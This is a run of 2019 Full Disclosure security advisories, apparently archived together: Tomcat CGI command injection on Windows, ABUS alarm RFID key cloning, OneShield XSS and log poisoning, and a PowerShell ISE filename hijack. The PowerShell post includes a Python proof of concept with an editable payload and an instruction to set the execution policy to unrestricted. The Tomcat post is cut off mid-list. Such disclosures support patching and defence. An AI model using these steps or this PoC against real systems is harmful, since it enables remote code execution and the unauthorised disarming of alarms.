[FD] RCE in CGI Servlet – Apache Tomcat on Windows – CVE-2019-0232
[Original post: https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/] SUMMARY Apache Tomcat has a vulnerability in the CGI Servlet which can be exploited to achieve remote code execution (RCE). This is only exploitable when running on Windows in a non-default configuration in conjunction with batch files. The vendor released a fix in Tomcat versions 7.0.94, 8.5.40 and 9.0.19. Users are encouraged to upgrade as soon as possible. CVE-2019-0232 has been assigned to track this issue. VULNERABILITY DETAILS Common Gateway Interface (CGI) is a standard protocol to allow web servers to execute command line programs / scripts via web requests. This protocol also allows passing of command line arguments to the script or program being executed via URL parameters. The protocol itself is defined in RFC 3875. Apache Tomcat supports execution of CGI scripts / programs in a non-default configuration via a special CGI servlet. This servlet also parses URL parameters and translates them into command line arguments. The actual execution of the CGI scripts happens via Java Runtime Environment (JRE)’s java.lang.Runtime class, exec() function. When CGI support is enabled in Apache Tomcat in Windows, and command line argument passing is enabled, it is possible to cause command injection via parameter interpolation when calling a batch file (*.bat / *.cmd). This happens because “cmd.exe” performs interpolation on some special characters before execution which can cause other shell commands to be called. Neither Apache Tomcat or the Windows JRE perform any kind of input validation for these special characters. STEPS TO REPLICATE 1. Install a Java Runtime Environment (JRE) in Windows. 2. Download a vulnerable version of Tomcat and extract. 3. Modify the conf\context.xml file on line 19, to enable privileged context: 4. Modify conf\web.xml to enable the CGI Servlet by removing the comments around line 387 as follows and adding the following parameters (enableCmdLineArguments is only needed for Tomcat 9): cgi org.apache.catalina.servlets.CGIServlet cgiPathPrefix WEB-INF/cgi executable enableCmdLineArguments true 5 5. Enable the CGI servlet by removing comments around this – you also need to change the URL pattern to match the one in the previous step (“cgi”): cgi /cgi/* 6. Create a folder for the CGI files: mkdir webapps\ROOT\WEB-INF\cgi 7. Place the following text into a batch file located in “webapps\ROOT\WEB-INF\cgi\test.bat” @echo off echo Content-Type: text/plain echo. echo Hello, World! 8. Run Tomcat via the following command: cd bin catalina run 9. Trigger the following URLs and observe the dir command being run: http://localhost:8080/cgi/test.bat? ADDITIONAL NOTES – ENVIRONMENT VARIABLES AND PATH By default, Tomcat doesn’t pass all of the environment variables from the parent process that runs Tomcat itself. That means that if you run “set”, you will not see any environment variables other than those set by Tomcat itself. This also means that you would need to spell out the directory path of the command you are trying to run. However, if the “passShellEnvironment” parameter is set to true, the variables from the parent process will be passed through and you can call any command in PATH as well as view those variables. If the command cannot be found, there will be a error in the console log “ is not recognized as an internal or external command”. ADDITIONAL NOTES – MEMORY LEAKS / DENIAL OF SERVICE If the command being executed is a long running command, it maybe possible to cause a denial of service or a memory leak. This happens because Tomcat waits for the OS process to complete. ADDITIONAL NOTES – OTHER COMMANDS AND STDERR The “executable” parameter indicates which executable should be used to run the script. By default, this is set to “perl” with the expectation that the files being executed are Perl scripts. If this is set to empty, then it is possible to execute batch files since those are executed by “cmd.exe”. HOWEVER, it seems that the command interpolation only happens with batch files – if this is set to real program, then command interpolation doesn’t necessary occur and this vulnerability may be not exploitable. Also, if the command being triggered outputs to STDERR instead of STDOUT, that output doesn’t get piped back to the web request – instead it goes to the Tomcat console log. VENDOR RESPONSE This issue was responsibly reported to the vendor via the EU FOSSA bounty program operated by Intigriti. Vendor analysis indicated that the core cause for this issue has to do with the way the Java Runtime Environment (JRE) interprets command arguments in Windows specifically and doesn’t impact Apache Tomcat when used with other operating systems. The vendor assigned CVE-2019-0232 to track this issue and provided a fix. The vendor fix consists of two parts: * Disabling command line arguments
[FD] [SYSS-2019-005]: ABUS Secvest - Proximity Key - Cryptographic Issues (CWE-310)
Advisory ID: SYSS-2019-005 Product: ABUS Secvest (FUAA5) Manufacturer: ABUS Affected Version(s): v3.01.01 Tested Version(s): v3.01.01 Vulnerability Type: Cryptographic Issues (CWE-310) Risk Level: Medium Solution Status: Open Manufacturer Notification: 2019-03-15 Solution Date: - Public Disclosure: 2019-05-02 CVE Reference: CVE-2019-9861 Authors of Advisory: Matthias Deeg, Gerhard Klostermeier (SySS GmbH) Overview: ABUS Secvest (FUAA5) is a wireless alarm system with different features. Some of the supported features as described by the manufacturer are (see [1]): " * Convenient operation via the app (Android/iOS), integrated web browser and also at the alarm panel * For up to 50 users with freely selectable control options (code/chip key/remote control) * Active intrusion protection in combination with additional mechatronic wireless window/door locks * Video verification of alarms via email, push notifications or via the app * Up to 48 individually identifiable wireless detectors, eight control panels, 50 remote controls * Integrated dialling device * VdS Home certified and EN 50131-1 Level 2 * Alarm verification via the integration of up to six IP cameras * 32 additional wireless outputs for flexible event control * Switching to monitoring station via protocols possible " Due to the use of an insecure RFID technology (MIFARE Classic), ABUS proximity chip keys (RFID tokens) [2] of the ABUS Secvest wireless alarm system can easily be cloned and used to deactivate the alarm system in an unauthorized way. Vulnerability Details: SySS GmbH found out that the RFID technology used by the ABUS Secvest wireless alarm system and its ABUS proximity keys (MIFARE Classic RFID tags) is vulnerable to RFID cloning attacks. The information stored on the used proximity keys can be read easily in a very short time from distances up to 1 meter, depending on the used RFID reader. A working cloned RFID token is ready for use within a couple of seconds using freely available tools. Thus, an attacker with one-time access to the information of an ABUS proximity key for an ABUS Secvest wireless alarm system is able to create a rogue RFID token that can be used to deactivate the alarm system in an unauthorized manner. Proof of Concept (PoC): SySS GmbH could successfully clone ABUS proximity keys of an ABUS Secvest wireless alarm system using different freely available off-the-shelf tools like an Android smartphone with the Mifare Classic Tool (MCT) [3], a ChameleonMini [4], and an RFID/NFC reader/writer [5] and disarm the wireless alarm system in an unauthorized way. All three RFID cloning attacks are demonstrated in our SySS proof-of-concept video "ABUS Secvest Proximity Key Cloning PoC Attack" [6]. Solution: SySS GmbH is not aware of a solution for this reported security vulnerability. Disclosure Timeline: 2019-03-15: Vulnerability reported to manufacturer 2016-05-02: Public release of security advisory References: [1] Product website for ABUS Secvest wireless alarm system https://www.abus.com/eng/Home-Security/Alarm-systems/Secvest-wireless-alarm-system/Alarm-panels-and-kits/Secvest-Wireless-Alarm-System [2] Product website for ABUS proximity chip key https://www.abus.com/eng/Home-Security/Alarm-systems/Secvest-wireless-alarm-system/Control-devices-and-extensions/Proximity-Chip-Key [3] MIFARE Classic Tool - MCT https://play.google.com/store/apps/details?id=de.syss.MifareClassicTool [4] GitHub repository of ChameleonMini https://github.com/emsec/ChameleonMini [5] OBO Hands RFID/NFC Reader/Writer https://www.amazon.de/dp/B07DHL9XQ4/ [6] SySS Proof-of-Concept Video: ABUS Secvest Proximity Key Cloning PoC Attack https://youtu.be/sPyXTQXTEcQ [7] SySS Security Advisory SYSS-2019-005 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-005.txt [8] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ Credits: This security vulnerability was found by Matthias Deeg and Gerhard Klostermeier of SySS GmbH. E-Mail: matthias.deeg (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Matthias_Deeg.asc Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB E-Mail: gerhard.klostermeier (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Gerhard_Klostermeier.asc Key fingerprint = 8A9E 75CC D510 4FF6 8DB5 CC30 3802 3AAB 573E B2E7
[FD] OneShield - Policy Solutions - Dragon Framework Persistent XSS in Framework Textboxes
# Exploit Title: Dragon - Persistent XSS in Framework Textboxes # Date: 12/28/2018 # Vendor Homepage: https://oneshield.com # Software Link: https://oneshield.com/business-solutions/oneshield-pc-solutions/oneshield-policy/ # Version: 5.0, 5.1 # Tested on: 5.1 # Exploit Author: Josh Sheppard # Exploit Contact: ghost () a t undervurse dot_com # Exploit Technique: Remote # CVE: CVE-2019-11643 1. Description A persistent cross site scripting vulnerability has been found in the OneShield Policy (Dragon) framework. Remote adversaries can inject malicious JavaScript into textboxes decorated with type string which is subsequently stored to the applicable data store. This can be exploited remotely by both authenticated and unauthenticated users. The issue affects versions 5.1, 5.0 and it is thought to exist in all previous versions of the framework. 2. Disclosure Timeline 12/28/18 - Discovery and Exploitation 1/15/19 - Vendor Notified 2/13/19 - Patch / Hotfix Created 5/18/19 - Patch Applied (v5.1.10) 3. Mitigation Apply hotfix from vendor by upgrade Dragon Core to version 5.1.10 ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] OneShield - Policy Solutions - Dragon Framework Log Poisoning
# Exploit Title: Dragon - Log Poisoning # Date: 12/28/2018 # Vendor Homepage: https://oneshield.com # Software Link: https://oneshield.com/business-solutions/oneshield-pc-solutions/oneshield-policy/ # Version: 5.0, 5.1 # Tested on: 5.1 # Exploit Author: Josh Sheppard # Exploit Contact: ghost () a t undervurse dot_com # Exploit Technique: Remote # CVE ID: CVE-2019-11642 1. Description A log poisoning vulnerability has been discovered oin the OneShield Policy (Dragon) framework. Authenticated remote advesaries can poison log files by entering malicious payloads in either headers or form elements. These payloads are then executed via a client side debugging console. This is predicated on the debugging console and Java Bean being made available to the deployed application. The issue affects versions 5.1, 5.0 and it is thought to exist in all previous versions of the framework. 2. Disclosure Timeline 12/28/18 - Discovery and Exploitation 1/15/19 - Vendor Notified 2/13/19 - Patch / Hotfix Created 5/18/19 - Patch Applied (v5.1.10) 3. Mitigation Apply hotfix from vendor by upgrade Dragon Core to version 5.1.10 ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Windows PowerShell ISE / Filename Parsing Flaw Remote Code Execution 0day
[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WINDOWS-POWERSHELL-ISE-FILENAME-PARSING-FLAW-RCE-0DAY.txt [+] ISR: ApparitionSec [+] Zero Day Initiative Program [Vendor] www.microsoft.com [Product] Windows PowerShell ISE The Windows PowerShell Integrated Scripting Environment (ISE) is a host application for Windows PowerShell. In the ISE, you can run commands and write, test, and debug scripts in a single Windows-based graphic user interface. [Vulnerability Type] Filename Parsing Flaw Remote Code Execution 0day [References] ZDI-CAN-8005 [Security Issue] Windows PowerShell ISE will execute wrongly supplied code when debugging specially crafted PowerShell scripts that contain array brackets as part of the filename. This can result in ISE executing attacker supplied scripts pointed to by the filename and not the "trusted" PS file currently loaded and being viewed by a user in the host application. This undermines the integrity of PowerShell ISE allowing potential unexpected remote code execution. In PowerShell brackets are used to access array elements. PS C:\> $a=1..10 PS C:\> $a[4] 5 However, when brackets are used as part of the filename it can be used to hijack the currently loaded file in place of another malicious file. That file must contain a single matching char value which is also found in our specially crafted filename. Requirements are both files must reside in the same directory. Example, if a file named [HelloWorldTutoria1].ps1 resides alongside a file named 1.ps1 it will create a script hijacking condition. Note, the last letter is a number "1" not a lowercase "L". Other things I discovered playing with PS filenames is we can target scripts using a single alphabetic or numeric char and certain symbols. PowerShell scripts with only a single quote also work, [Pwned'].ps1 will load and execute ===> '.ps1 if debugged from the vuln ISE application. These chars also get the job done: "$" "_" "#" "^" plus any single case insensitive letter a-z or numbers 0-9, [Hello_World].ps1 > _.ps1 [Hello].ps1 will execute this instead => h.ps1 Dashes "-" throw the following error: "The specified wildcard character pattern is not valid: [Hello-World].ps1" when pointing to another PS file named -.ps1 and seems to treat it sort of like a meta-character. [pw3d].ps1 <= expected to execute 3.ps1 <= actually executed This exploits the trust between PowerShell ISE and the end user. So scripts debugged local or over a network share display "trusted" code in ISE that is expected to run. However, when the user debugs the script a different script gets executed. Interestingly, that second script does NOT get loaded into PowerShell ISE upon execution, so a user may not see anything amiss. User interaction is required for a successful attack to occur and obviously running any unknown PowerShell script can be dangerous. Again, this exploit takes advantage of "trust" where users can see and read the code and will trust it as everything looks just fine and yet ... still they get PWNED!. Tested successfully on Win7/10 Long live user interaction! lol... [POC Video URL] https://www.youtube.com/watch?v=T2I_-iUPaFw [Exploit/POC] After opening PS files in ISE, set the execution policy so can test without issues. set-executionpolicy unrestricted -force PS scripts over Network shares may get 'RemoteSigned' security policy issue so run below cmd. set-executionpolicy unrestricted -force process Choose 'R' to run once. Below Python script will create two .ps1 files to demonstrate the vulnerable condition. Examine the code, what does it say? it reads... Write-output "Hello World!"... now Run it... BAM! other PS script executes!. #PowerShell ISE 0day Xploit #ZDI-CAN-8005 #ZDI CVSS: 7.0 #hyp3rlinx #ApparitionSec fname1="[HelloWorldTutoria1].ps1"#Expected code to run is 'HelloWorld!' fname2="1.ps1" #Actual code executed is calc.exe for Poc evil_code="start calc.exe" #Edit to suit your needs. c=0 payload1='Write-Output "Hello World!"' payload2=evil_code+"\n"+'Write-Output "Hello World!"' def mk_ps_hijack_script(): global c c+=1 f=open(globals()["fname"+str(c)],"wb") f.write(globals()["payload"+str(c)]) f.close() if c<2: mk_ps_hijack_script() if __name__=="__main__": mk_ps_hijack_script() print "PowerShell ISE Xploit 0day Files Created!" print "Discovery by hyp3rlinx" print "ZDI-CAN-8005" [Network Access] Remote [Severity] High [Disclosure Timeline] ZDI Case opened : 2019-02-06 Case officially contracted to ZDI : 2019-02-20 Vendor Disclosure : 2019-03-01 submitted to the vendor as ZDI-CAN-8005. April 25, 2019 : MSRC response (as per ZDI): "we've determined that this doesn't meet the bar for servicing via a security update. we have opened a bug with the PowerShell team, and this is something they may address in a
